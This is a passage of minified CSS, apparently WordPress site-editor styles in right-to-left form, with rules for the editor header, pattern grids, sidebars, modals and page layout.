.edit-site-header-edit-mode.show-icon-labels .components-button.has-icon:after{ content:attr(aria-label); } .edit-site-header-edit-mode.show-icon-labels .components-button.has-icon[aria-disabled=true]{ background-color:transparent; } .edit-site-header-edit-mode.show-icon-labels .is-tertiary:active{ background-color:transparent; box-shadow:0 0 0 1.5px var(--wp-admin-theme-color); } .edit-site-header-edit-mode.show-icon-labels .edit-site-save-button__button{ padding-left:6px; padding-right:6px; } .edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info:after{ content:none; } .edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info,.edit-site-header-edit-mode.show-icon-labels .edit-site-header-edit-mode__inserter-toggle.edit-site-header-edit-mode__inserter-toggle{ height:36px; padding:0 8px; } .edit-site-header-edit-mode.show-icon-labels .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>*+*{ margin-right:8px; } .edit-site-document-actions{ align-items:center; background:#f0f0f0; border-radius:4px; display:flex; height:36px; justify-content:space-between; min-width:0; width:min(100%, 450px); } .has-fixed-toolbar .edit-site-document-actions{ width:min(100%, 380px); } .edit-site-document-actions:hover{ background-color:#e0e0e0; } .edit-site-document-actions .components-button{ border-radius:4px; } .edit-site-document-actions .components-button:hover{ background:#e0e0e0; color:var(--wp-block-synced-color); } @media (min-width:960px){ .edit-site-document-actions{ width:min(100%, 450px); } } .edit-site-document-actions.is-synced-entity .edit-site-document-actions__title,.edit-site-document-actions.is-synced-entity .edit-site-document-actions__title h1{ color:var(--wp-block-synced-color); } .edit-site-document-actions__command{ color:var(--wp-block-synced-color); flex-grow:1; overflow:hidden; } .edit-site-document-actions__title{ flex-grow:1; overflow:hidden; } @media (min-width:600px){ .edit-site-document-actions__title{ padding-right:32px; } } .edit-site-document-actions__title:hover{ color:var(--wp-block-synced-color); } .edit-site-document-actions__title .block-editor-block-icon{ flex-shrink:0; min-width:24px; } .edit-site-document-actions__title h1{ max-width:50%; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; } .edit-site-document-actions.is-page .edit-site-document-actions__title,.edit-site-document-actions.is-page .edit-site-document-actions__title h1{ color:#2f2f2f; } .edit-site-document-actions.is-animated .edit-site-document-actions__title{ animation:edit-site-document-actions__slide-in-left .3s; } @media (prefers-reduced-motion:reduce){ .edit-site-document-actions.is-animated .edit-site-document-actions__title{ animation-delay:0s; animation-duration:1ms; } } .edit-site-document-actions.is-animated.is-page .edit-site-document-actions__title{ animation:edit-site-document-actions__slide-in-right .3s; } @media (prefers-reduced-motion:reduce){ .edit-site-document-actions.is-animated.is-page .edit-site-document-actions__title{ animation-delay:0s; animation-duration:1ms; } } .edit-site-document-actions__shortcut{ color:#2f2f2f; display:none; min-width:32px; } @media (min-width:600px){ .edit-site-document-actions__shortcut{ display:initial; } } .edit-site-document-actions__back.components-button.has-icon.has-text{ color:#757575; flex-shrink:0; gap:0; min-width:36px; position:absolute; z-index:1; } .edit-site-document-actions__back.components-button.has-icon.has-text:hover{ background-color:transparent; color:currentColor; } .edit-site-document-actions.is-animated .edit-site-document-actions__back.components-button.has-icon.has-text{ animation:edit-site-document-actions__slide-in-left .3s; } @media (prefers-reduced-motion:reduce){ .edit-site-document-actions.is-animated .edit-site-document-actions__back.components-button.has-icon.has-text{ animation-delay:0s; animation-duration:1ms; } } @keyframes edit-site-document-actions__slide-in-right{ 0%{ opacity:0; transform:translateX(15%); } to{ opacity:1; transform:translateX(0); } } @keyframes edit-site-document-actions__slide-in-left{ 0%{ opacity:0; transform:translateX(-15%); } to{ opacity:1; transform:translateX(0); } } .edit-site-list-header{ align-items:center; box-sizing:border-box; display:flex; height:60px; justify-content:flex-end; padding-left:16px; position:relative; width:100%; } body.is-fullscreen-mode .edit-site-list-header{ padding-right:60px; transition:padding-right 20ms linear; transition-delay:80ms; } @media (prefers-reduced-motion:reduce){ body.is-fullscreen-mode .edit-site-list-header{ transition-delay:0s; transition-duration:0s; } } .edit-site-list-header .edit-site-list-header__title{ font-size:20px; margin:0; padding:0; position:absolute; right:0; text-align:center; width:100%; } .edit-site-list-header__right{ position:relative; } .edit-site .edit-site-list{ background:#fff; border-radius:8px; box-shadow:0 20px 25px -5px rgba(0,0,0,.8),0 8px 10px -6px rgba(0,0,0,.8); flex-grow:1; } .edit-site .edit-site-list .interface-interface-skeleton__editor{ min-width:100%; } @media (min-width:782px){ .edit-site .edit-site-list .interface-interface-skeleton__editor{ min-width:0; } } .edit-site .edit-site-list .interface-interface-skeleton__content{ align-items:center; background:#fff; padding:16px; } @media (min-width:782px){ .edit-site .edit-site-list .interface-interface-skeleton__content{ padding:72px; } } .edit-site-list-table{ border:1px solid #ddd; border-radius:2px; border-spacing:0; margin:0 auto; max-width:960px; min-width:100%; overflow:hidden; } .edit-site-list-table tr{ align-items:center; border-top:1px solid #f0f0f0; box-sizing:border-box; display:flex; margin:0; padding:16px; } .edit-site-list-table tr:first-child{ border-top:0; } @media (min-width:782px){ .edit-site-list-table tr{ padding:24px 32px; } } .edit-site-list-table tr .edit-site-list-table-column:first-child{ padding-left:24px; width:calc(60% - 18px); } .edit-site-list-table tr .edit-site-list-table-column:first-child a{ display:inline-block; font-weight:500; margin-bottom:4px; text-decoration:none; } .edit-site-list-table tr .edit-site-list-table-column:nth-child(2){ width:calc(40% - 18px); word-break:break-word; } .edit-site-list-table tr .edit-site-list-table-column:nth-child(3){ flex-shrink:0; min-width:36px; } .edit-site-list-table tr.edit-site-list-table-head{ border-bottom:1px solid #ddd; border-top:none; color:#1e1e1e; font-size:16px; font-weight:600; text-align:right; } .edit-site-list-table tr.edit-site-list-table-head th{ font-weight:inherit; } @media (min-width:782px){ .edit-site-list.is-navigation-open .components-snackbar-list{ margin-right:360px; } } .edit-site-list__rename-modal{ z-index:1000001; } @media (min-width:782px){ .edit-site-list__rename-modal .components-base-control{ width:320px; } } .edit-site-template__actions button:not(:last-child){ margin-left:8px; } .edit-site-list-added-by__icon{ align-items:center; background:#2f2f2f; border-radius:100%; display:flex; flex-shrink:0; height:32px; justify-content:center; width:32px; } .edit-site-list-added-by__icon svg{ fill:#fff; } .edit-site-list-added-by__avatar{ background:#2f2f2f; border-radius:100%; flex-shrink:0; height:32px; overflow:hidden; width:32px; } .edit-site-list-added-by__avatar img{ height:32px; object-fit:cover; opacity:0; transition:opacity .1s linear; width:32px; } @media (prefers-reduced-motion:reduce){ .edit-site-list-added-by__avatar img{ transition-delay:0s; transition-duration:0s; } } .edit-site-list-added-by__avatar.is-loaded img{ opacity:1; } .edit-site-list-added-by__customized-info{ color:#757575; display:block; } .edit-site-page{ background:#fff; color:#2f2f2f; flex-grow:1; margin:60px 0 0; overflow:hidden; } @media (min-width:782px){ .edit-site-page{ border-radius:8px; margin:24px 0 24px 24px; } } .edit-site-page-header{ background:#fff; border-bottom:1px solid #f0f0f0; min-height:60px; padding:0 32px; position:sticky; top:0; z-index:2; } .edit-site-page-header .components-text{ color:#2f2f2f; } .edit-site-page-header .components-heading{ color:#1e1e1e; } .edit-site-page-header .edit-site-page-header__sub-title{ color:#757575; margin-top:8px; } .edit-site-page-content{ display:flex; flex-flow:column; height:100%; overflow:auto; position:relative; z-index:1; } .edit-site-patterns{ background:none; border-radius:0; border-right:1px solid #2f2f2f; margin:60px 0 0; overflow-x:auto; padding:0; } .edit-site-patterns .components-base-control{ width:100%; } @media (min-width:782px){ .edit-site-patterns .components-base-control{ width:auto; } } .edit-site-patterns .components-text{ color:#949494; } .edit-site-patterns .components-heading{ color:#e0e0e0; } @media (min-width:782px){ .edit-site-patterns{ margin:0; } } .edit-site-patterns .edit-site-patterns__search-block{ flex-grow:1; min-width:-moz-fit-content; min-width:fit-content; } .edit-site-patterns .edit-site-patterns__search input[type=search]{ background:#2f2f2f; color:#e0e0e0; height:40px; } .edit-site-patterns .edit-site-patterns__search input[type=search]:focus{ background:#2f2f2f; } .edit-site-patterns .edit-site-patterns__search svg{ fill:#949494; } .edit-site-patterns .edit-site-patterns__sync-status-filter{ background:#2f2f2f; border:none; height:40px; max-width:100%; min-width:max-content; width:100%; } @media (min-width:782px){ .edit-site-patterns .edit-site-patterns__sync-status-filter{ width:300px; } } .edit-site-patterns .edit-site-patterns__sync-status-filter-option:not([aria-checked=true]){ color:#949494; } .edit-site-patterns .edit-site-patterns__sync-status-filter-option:active{ background:#757575; color:#f0f0f0; } .edit-site-patterns .edit-site-patterns__grid-pagination{ background:#1e1e1e; border-top:1px solid #2f2f2f; bottom:0; padding:24px 32px; position:sticky; z-index:2; } .edit-site-patterns .edit-site-patterns__grid-pagination .components-button.is-tertiary{ background-color:#2f2f2f; color:#f0f0f0; height:32px; justify-content:center; width:32px; } .edit-site-patterns .edit-site-patterns__grid-pagination .components-button.is-tertiary:disabled{ background:none; color:#949494; } .edit-site-patterns .edit-site-patterns__grid-pagination .components-button.is-tertiary:hover:not(:disabled){ background-color:#757575; } .edit-site-patterns__header{ background:#1e1e1e; padding:32px 32px 16px; position:sticky; top:0; z-index:2; } .edit-site-patterns__section{ flex:1; padding:24px 32px; } .edit-site-patterns__section-header .screen-reader-shortcut:focus{ top:0; } .edit-site-patterns__grid{ display:grid; gap:32px; grid-template-columns:1fr; margin-bottom:0; margin-top:0; } @media (min-width:960px){ .edit-site-patterns__grid{ grid-template-columns:1fr 1fr; } } @media (min-width:1440px){ .edit-site-patterns__grid{ grid-template-columns:1fr 1fr 1fr; } } @media (min-width:1920px){ .edit-site-patterns__grid{ grid-template-columns:1fr 1fr 1fr 1fr; } } .edit-site-patterns__grid .edit-site-patterns__pattern{ break-inside:avoid-column; display:flex; flex-direction:column; } .edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview{ background-color:unset; border:none; border-radius:4px; box-shadow:none; box-sizing:border-box; cursor:pointer; overflow:hidden; padding:0; } .edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview:focus{ box-shadow:inset 0 0 0 0 #fff, 0 0 0 2px var(--wp-admin-theme-color); outline:2px solid transparent; } .edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive{ cursor:default; } .edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive:focus{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) #2f2f2f; opacity:.8; } .edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__button,.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__footer{ color:#949494; } .edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__dropdown{ flex-shrink:0; } .edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview{ align-items:center; border:1px dashed #2f2f2f; color:#949494; display:flex; justify-content:center; min-height:64px; } .edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview:focus{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-site-patterns__grid .edit-site-patterns__preview{ flex:0 1 auto; margin-bottom:12px; } .edit-site-patterns__load-more{ align-self:center; } .edit-site-patterns__pattern-title{ color:#e0e0e0; } .edit-site-patterns__pattern-title .is-link{ color:#e0e0e0; text-decoration:none; } .edit-site-patterns__pattern-title .is-link:focus,.edit-site-patterns__pattern-title .is-link:hover{ color:#fff; } .edit-site-patterns__pattern-title .edit-site-patterns__pattern-icon{ fill:#fff; background:var(--wp-block-synced-color); border-radius:4px; } .edit-site-patterns__pattern-title .edit-site-patterns__pattern-lock-icon{ fill:currentcolor; } .edit-site-patterns__no-results{ color:#949494; } .edit-site-table-wrapper{ padding:32px; width:100%; } .edit-site-table{ border-collapse:collapse; border-color:inherit; position:relative; text-indent:0; width:100%; } .edit-site-table a{ text-decoration:none; } .edit-site-table th{ color:#757575; font-weight:400; padding:0 16px 16px; text-align:right; } .edit-site-table td{ padding:16px; } .edit-site-table td,.edit-site-table th{ vertical-align:center; } .edit-site-table td:first-child,.edit-site-table th:first-child{ padding-right:0; } .edit-site-table td:last-child,.edit-site-table th:last-child{ padding-left:0; text-align:left; } .edit-site-table tr{ border-bottom:1px solid #f0f0f0; } .edit-site-sidebar-edit-mode{ width:280px; } .edit-site-sidebar-edit-mode>.components-panel{ border-left:0; border-right:0; margin-bottom:-1px; margin-top:-1px; } .edit-site-sidebar-edit-mode>.components-panel>.components-panel__header{ background:#f0f0f0; } .edit-site-sidebar-edit-mode .block-editor-block-inspector__card{ margin:0; } .edit-site-global-styles-sidebar{ display:flex; flex-direction:column; min-height:100%; } .edit-site-global-styles-sidebar__navigator-provider,.edit-site-global-styles-sidebar__panel{ display:flex; flex:1; flex-direction:column; } .edit-site-global-styles-sidebar__navigator-screen{ flex:1; } .edit-site-global-styles-sidebar .interface-complementary-area-header .components-button.has-icon{ margin-right:0; } .edit-site-global-styles-sidebar__reset-button.components-button{ margin-right:auto; } .edit-site-global-styles-sidebar .components-navigation__menu-title-heading{ font-size:15.6px; font-weight:500; } .edit-site-global-styles-sidebar .components-navigation__item>button span{ font-weight:500; } .edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings,.edit-site-typography-panel{ border:0; } .edit-site-global-styles-sidebar .single-column{ grid-column:span 1; } .edit-site-global-styles-sidebar .components-tools-panel .span-columns{ grid-column:1 / -1; } .edit-site-global-styles-sidebar__blocks-group{ border-top:1px solid #e0e0e0; padding-top:24px; } .edit-site-global-styles-sidebar__blocks-group-help{ padding:0 16px; } .edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{ padding:16px; } .edit-site-global-styles-sidebar hr{ margin:0; } .show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{ display:none; } .show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{ content:attr(aria-label); font-size:12px; } .edit-site-sidebar-fixed-bottom-slot{ background:#fff; border-top:1px solid #ddd; bottom:0; box-sizing:content-box; display:flex; padding:16px; position:sticky; } .edit-site-swap-template-modal{ z-index:1000001; } .edit-site-page-panels__swap-template__confirm-modal__actions{ margin-top:24px; } .edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list{ column-count:2; column-gap:24px; padding-top:2px; } @media (min-width:782px){ .edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list{ column-count:3; } } @media (min-width:1280px){ .edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list{ column-count:4; } } .edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{ break-inside:avoid-column; } .edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{ box-shadow:0 0 0 1px #ddd; } .edit-site-change-status__content .components-popover__content{ min-width:320px; padding:16px; } .edit-site-change-status__content .edit-site-change-status__options .components-base-control__field>.components-v-stack{ gap:8px; } .edit-site-change-status__content .edit-site-change-status__options label .components-text{ display:block; margin-right:26px; } .edit-site-change-status__content .edit-site-change-status__password-legend{ margin-bottom:8px; padding:0; } .edit-site-summary-field .components-dropdown{ width:70%; } .edit-site-summary-field .edit-site-summary-field__trigger{ display:block; max-width:100%; overflow:hidden; text-align:right; text-overflow:ellipsis; white-space:nowrap; } .edit-site-summary-field .edit-site-summary-field__label{ width:30%; } .edit-site-page-panels-edit-template__dropdown .components-popover__content{ min-width:240px; } .components-panel__header.edit-site-sidebar-edit-mode__panel-tabs{ border-top:0; justify-content:flex-start; margin-top:0; padding-left:16px; padding-right:0; } .components-panel__header.edit-site-sidebar-edit-mode__panel-tabs ul{ display:flex; } .components-panel__header.edit-site-sidebar-edit-mode__panel-tabs li{ margin:0; } .components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{ display:none; height:24px; margin:0 auto 0 0; min-width:24px; padding:0; } @media (min-width:782px){ .components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{ display:flex; } } .components-button.edit-site-sidebar-edit-mode__panel-tab{ background:transparent; border:none; border-radius:0; box-shadow:none; cursor:pointer; font-weight:500; height:48px; margin-right:0; padding:3px 16px; position:relative; } .components-button.edit-site-sidebar-edit-mode__panel-tab:focus:not(:disabled){ box-shadow:none; outline:none; position:relative; } .components-button.edit-site-sidebar-edit-mode__panel-tab:after{ background:var(--wp-admin-theme-color); border-radius:0; bottom:0; content:""; height:calc(var(--wp-admin-border-width-focus)*0); left:0; pointer-events:none; position:absolute; right:0; transition:all .1s linear; } @media (prefers-reduced-motion:reduce){ .components-button.edit-site-sidebar-edit-mode__panel-tab:after{ transition-delay:0s; transition-duration:0s; } } .components-button.edit-site-sidebar-edit-mode__panel-tab.is-active:after{ height:calc(var(--wp-admin-border-width-focus)*1); outline:2px solid transparent; outline-offset:-1px; } .components-button.edit-site-sidebar-edit-mode__panel-tab:before{ border-radius:2px; bottom:12px; box-shadow:0 0 0 0 transparent; content:""; left:12px; pointer-events:none; position:absolute; right:12px; top:12px; transition:all .1s linear; } @media (prefers-reduced-motion:reduce){ .components-button.edit-site-sidebar-edit-mode__panel-tab:before{ transition-delay:0s; transition-duration:0s; } } .components-button.edit-site-sidebar-edit-mode__panel-tab:focus-visible:before{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:2px solid transparent; } .edit-site-sidebar-card{ align-items:flex-start; display:flex; } .edit-site-sidebar-card__content{ flex-grow:1; margin-bottom:4px; } .edit-site-sidebar-card__title{ font-weight:500; line-height:24px; } .edit-site-sidebar-card__title.edit-site-sidebar-card__title{ margin:0; } .edit-site-sidebar-card__description{ font-size:13px; } .edit-site-sidebar-card__icon{ flex:0 0 24px; height:24px; margin-left:12px; width:24px; } .edit-site-sidebar-card__header{ display:flex; justify-content:space-between; margin:0 0 4px; } .edit-site-template-card__template-areas{ margin-top:16px; } .edit-site-template-card__template-areas-list,.edit-site-template-card__template-areas-list>li{ margin:0; } .edit-site-template-card__template-areas-item{ width:100%; } .edit-site-template-card__template-areas-item.components-button.has-icon{ padding:0; } .edit-site-template-card__actions{ line-height:0; } .edit-site-template-card__actions>.components-button.is-small.has-icon{ min-width:auto; padding:0; } .edit-site-template-revisions{ margin-right:-4px; } h3.edit-site-template-card__template-areas-title{ font-weight:500; margin:0 0 8px; } .edit-site-template-panel__replace-template-modal{ z-index:1000001; } .edit-site-template-panel__replace-template-modal__content{ column-count:2; column-gap:24px; } @media (min-width:782px){ .edit-site-template-panel__replace-template-modal__content{ column-count:3; } } @media (min-width:1280px){ .edit-site-template-panel__replace-template-modal__content{ column-count:4; } } .edit-site-editor__interface-skeleton{ opacity:1; transition:opacity .1s ease-out; } @media (prefers-reduced-motion:reduce){ .edit-site-editor__interface-skeleton{ transition-delay:0s; transition-duration:0s; } } .edit-site-editor__interface-skeleton.is-loading{ opacity:0; } .edit-site-editor__interface-skeleton .interface-interface-skeleton__header{ border:0; } .edit-site-editor__toggle-save-panel{ background-color:#fff; border:1px dotted #ddd; box-sizing:border-box; display:flex; justify-content:center; padding:24px; width:280px; } .edit-site .components-editor-notices__snackbar{ bottom:40px; left:0; padding-left:16px; padding-right:16px; position:absolute; right:0; } @media (min-width:783px){ .edit-site .components-editor-notices__snackbar{ right:160px; } } @media (min-width:783px){ .auto-fold .edit-site .components-editor-notices__snackbar{ right:36px; } } @media (min-width:961px){ .auto-fold .edit-site .components-editor-notices__snackbar{ right:160px; } } .folded .edit-site .components-editor-notices__snackbar{ right:0; } @media (min-width:783px){ .folded .edit-site .components-editor-notices__snackbar{ right:36px; } } body.is-fullscreen-mode .edit-site .components-editor-notices__snackbar{ right:0 !important; } .edit-site-create-template-part-modal{ z-index:1000001; } @media (min-width:600px){ .edit-site-create-template-part-modal .components-modal__frame{ max-width:500px; } } .edit-site-create-template-part-modal__area-radio-group{ border:1px solid #757575; border-radius:2px; width:100%; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio{ display:block; height:100%; padding:12px; text-align:right; width:100%; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover{ background-color:inherit; border-bottom:1px solid #757575; border-radius:0; margin:0; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:focus){ box-shadow:none; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:focus{ border-bottom:1px solid #fff; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:last-of-type{ border-bottom:none; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true]{ color:#1e1e1e; cursor:auto; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover) .edit-site-create-template-part-modal__option-label div,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true] .edit-site-create-template-part-modal__option-label div{ color:#949494; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label{ padding-top:4px; white-space:normal; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label div{ font-size:12px; padding-top:4px; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__checkbox{ margin-right:auto; min-width:24px; } .edit-site-editor__inserter-panel,.edit-site-editor__list-view-panel{ display:flex; flex-direction:column; height:100%; } @media (min-width:782px){ .edit-site-editor__list-view-panel{ width:350px; } } .edit-site-editor__inserter-panel-header{ display:flex; justify-content:flex-end; padding-left:8px; padding-top:8px; } .edit-site-editor__inserter-panel-content,.edit-site-editor__list-view-panel-content{ height:calc(100% - 44px); } @media (min-width:782px){ .edit-site-editor__inserter-panel-content{ height:100%; } } .edit-site-editor__list-view-panel-header{ align-items:center; border-bottom:1px solid #ddd; display:flex; height:48px; justify-content:space-between; padding-left:4px; padding-right:16px; } .edit-site-editor__list-view-panel-content{ height:100%; overflow:auto; padding:8px 6px; scrollbar-color:transparent transparent; scrollbar-gutter:stable both-edges; scrollbar-gutter:auto; scrollbar-width:thin; will-change:transform; } .edit-site-editor__list-view-panel-content::-webkit-scrollbar{ height:12px; width:12px; } .edit-site-editor__list-view-panel-content::-webkit-scrollbar-track{ background-color:transparent; } .edit-site-editor__list-view-panel-content::-webkit-scrollbar-thumb{ background-clip:padding-box; background-color:transparent; border:3px solid transparent; border-radius:8px; } .edit-site-editor__list-view-panel-content:focus-within::-webkit-scrollbar-thumb,.edit-site-editor__list-view-panel-content:focus::-webkit-scrollbar-thumb,.edit-site-editor__list-view-panel-content:hover::-webkit-scrollbar-thumb{ background-color:#949494; } .edit-site-editor__list-view-panel-content:focus,.edit-site-editor__list-view-panel-content:focus-within,.edit-site-editor__list-view-panel-content:hover{ scrollbar-color:#949494 transparent; } @media (hover:none){ .edit-site-editor__list-view-panel-content{ scrollbar-color:#949494 transparent; } } .edit-site-welcome-guide{ width:312px; } .edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image .edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{ background:#00a0d2; } .edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{ border-left:16px solid #3858e9; border-top:16px solid #3858e9; } .edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{ border-right:16px solid #3858e9; border-top:16px solid #3858e9; } .edit-site-welcome-guide__image{ margin:0 0 16px; } .edit-site-welcome-guide__image>img{ display:block; max-width:100%; object-fit:cover; } .edit-site-welcome-guide__heading{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:24px; line-height:1.4; margin:16px 0; padding:0 32px; } .edit-site-welcome-guide__text{ font-size:13px; line-height:1.4; margin:0 0 16px; padding:0 32px; } .edit-site-welcome-guide__text img{ vertical-align:bottom; } .edit-site-welcome-guide__inserter-icon{ margin:0 4px; vertical-align:text-top; } .edit-site-start-template-options__modal .edit-site-start-template-options__modal__actions{ background-color:#fff; border-top:1px solid #ddd; bottom:0; height:92px; margin-left:-32px; margin-right:-32px; padding-left:32px; padding-right:32px; position:absolute; width:100%; z-index:1; } .edit-site-start-template-options__modal .block-editor-block-patterns-list{ padding-bottom:92px; } .edit-site-start-template-options__modal-content .block-editor-block-patterns-list{ column-count:2; column-gap:24px; } @media (min-width:782px){ .edit-site-start-template-options__modal-content .block-editor-block-patterns-list{ column-count:3; } } @media (min-width:1280px){ .edit-site-start-template-options__modal-content .block-editor-block-patterns-list{ column-count:4; } } .edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{ break-inside:avoid-column; } .edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-patterns-list__item-title{ display:none; } .edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{ box-shadow:0 0 0 1px #ddd; } .edit-site-keyboard-shortcut-help-modal__section{ margin:0 0 2rem; } .edit-site-keyboard-shortcut-help-modal__section-title{ font-size:.9rem; font-weight:600; } .edit-site-keyboard-shortcut-help-modal__shortcut{ align-items:baseline; border-top:1px solid #ddd; display:flex; margin-bottom:0; padding:.6rem 0; } .edit-site-keyboard-shortcut-help-modal__shortcut:last-child{ border-bottom:1px solid #ddd; } .edit-site-keyboard-shortcut-help-modal__shortcut:empty{ display:none; } .edit-site-keyboard-shortcut-help-modal__shortcut-term{ font-weight:600; margin:0 1rem 0 0; text-align:left; } .edit-site-keyboard-shortcut-help-modal__shortcut-description{ flex:1; flex-basis:auto; margin:0; } .edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{ background:none; display:block; margin:0; padding:0; } .edit-site-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{ margin-top:10px; } .edit-site-keyboard-shortcut-help-modal__shortcut-key{ border-radius:8%; margin:0 .2rem; padding:.25rem .5rem; } .edit-site-keyboard-shortcut-help-modal__shortcut-key:last-child{ margin:0 .2rem 0 0; } .edit-site-layout{ background:#1e1e1e; color:#ccc; display:flex; flex-direction:column; height:100%; } .edit-site-layout__hub{ height:60px; position:fixed; right:0; top:0; width:calc(100vw - 48px); z-index:3; } .edit-site-layout.is-full-canvas.is-edit-mode .edit-site-layout__hub{ padding-left:0; width:60px; } @media (min-width:782px){ .edit-site-layout__hub{ width:336px; } } .edit-site-layout.is-full-canvas .edit-site-layout__hub{ border-radius:0; box-shadow:none; padding-left:16px; width:100vw; } @media (min-width:782px){ .edit-site-layout.is-full-canvas .edit-site-layout__hub{ padding-left:0; width:auto; } } .edit-site-layout__header-container{ z-index:4; } .edit-site-layout__header{ display:flex; height:60px; z-index:2; } .edit-site-layout:not(.is-full-canvas) .edit-site-layout__header{ position:fixed; width:100vw; } .edit-site-layout__content{ display:flex; flex-grow:1; height:100%; } .edit-site-layout__sidebar-region{ flex-shrink:0; width:100vw; z-index:1; } @media (min-width:782px){ .edit-site-layout__sidebar-region{ width:360px; } } .edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{ height:100vh; position:fixed !important; right:0; top:0; } .edit-site-layout__sidebar-region .edit-site-layout__sidebar{ display:flex; flex-direction:column; height:100%; } .edit-site-layout__sidebar-region .resizable-editor__drag-handle{ left:0; } .edit-site-layout__main{ display:flex; flex-direction:column; flex-grow:1; overflow:hidden; } .edit-site-layout__canvas-container{ flex-grow:1; position:relative; z-index:2; } .edit-site-layout__canvas-container.is-resizing:after{ bottom:0; content:""; left:0; position:absolute; right:0; top:0; z-index:100; } .edit-site-layout__canvas{ align-items:center; bottom:0; display:flex; justify-content:center; position:absolute; right:0; top:0; width:100%; } .edit-site-layout__canvas.is-right-aligned{ justify-content:flex-end; } .edit-site-layout__canvas>div{ color:#1e1e1e; } @media (min-width:782px){ .edit-site-layout__canvas{ bottom:24px; top:24px; width:calc(100% - 24px); } .edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .edit-site-visual-editor__editor-canvas,.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .interface-interface-skeleton__content,.edit-site-layout__canvas>div{ border-radius:8px; } } .edit-site-layout.is-full-canvas .edit-site-layout__canvas{ bottom:0; top:0; width:100%; } .edit-site-layout.is-full-canvas .edit-site-layout__canvas>div{ border-radius:0; } .edit-site-layout__canvas .interface-interface-skeleton{ min-height:100% !important; position:relative !important; } .edit-site-layout__view-mode-toggle.components-button{ align-items:center; 